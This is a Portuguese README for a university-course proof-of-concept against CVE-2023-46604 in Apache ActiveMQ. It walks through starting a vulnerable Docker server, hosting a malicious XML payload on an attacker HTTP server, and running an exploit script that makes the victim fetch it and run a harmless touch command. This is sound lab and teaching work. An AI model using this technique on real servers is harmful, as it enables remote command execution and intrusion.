
Um PoC para CVE-2023-46604 escrito como parte da disciplina SPS do mestrado em Segurança Cibernética Avançada na UPB.
Trabalho: SSP Trabalho 3 Equipa: RCE You Later Membros: Banica Horia Alexandru, Comarlau Vlad-Constantin
Link do vídeo usando o repositório para fazer o PoC: https://www.youtube.com/watch?v=vum4qTF4ygU
Este repositório contém uma Prova de Conceito (PoC) totalmente funcional para a CVE-2023-46604. Esta vulnerabilidade permite que um atacante execute comandos arbitrários de shell num servidor Apache ActiveMQ vulnerável (versão 5.15.10) ao forçá-lo a desserializar um ficheiro de configuração XML malicioso.
Objetivo: Criar um ficheiro chamado pwned_by_ssp_team dentro do servidor vítima para provar que temos controlo.
Antes de executar o exploit, certifique-se de que tem:
vulnerable-env/: Contém a configuração Docker para o servidor vítima.attacker/: Contém os scripts do exploit e os payloads maliciosos.
exploit.py: O script Python que envia o pacote malicioso.serve.py: Um servidor HTTP simples para alojar o payload XML.poc.xml: O ficheiro de configuração malicioso que contém o comando touch /tmp/pwned_by_ssp_team.Vamos executar uma versão antiga e vulnerável do ActiveMQ usando o Docker.
vulnerable-env:
cd vulnerable-env
docker-compose up -d
O servidor vítima precisa de descarregar instruções de nós. Vamos configurar um pequeno servidor web para alojar essas instruções.
attacker:
cd attacker
python3 serve.py
Mantenha este terminal aberto! Deverá ver "Serving HTTP on 0.0.0.0 port 8000..."Agora enviamos o pacote de rede específico que desencadeia a vulnerabilidade.
Abra um terceiro terminal.
Navegue até a pasta attacker:
cd attacker
Execute o script do exploit.
python3 exploit.py -i 127.0.0.1 -p 61616 -u http://host.docker.internal:8000/poc.xml
host.docker.internal pelo gateway da ponte de rede, normalmente: 172.17.0.1. Tente obter o endereço assim se o prescrito não funcionar: docker network inspect bridge -f '{{range .IPAM.Config}}{{.Gateway}}{{end}}'Funcionou? Vamos verificar se o ficheiro foi criado dentro do container.
/tmp dentro da vítima:
docker exec activemq-victim ls -l /tmp
pwned_by_ssp_team.Para parar e remover o container vulnerável:
cd vulnerable-env
docker-compose down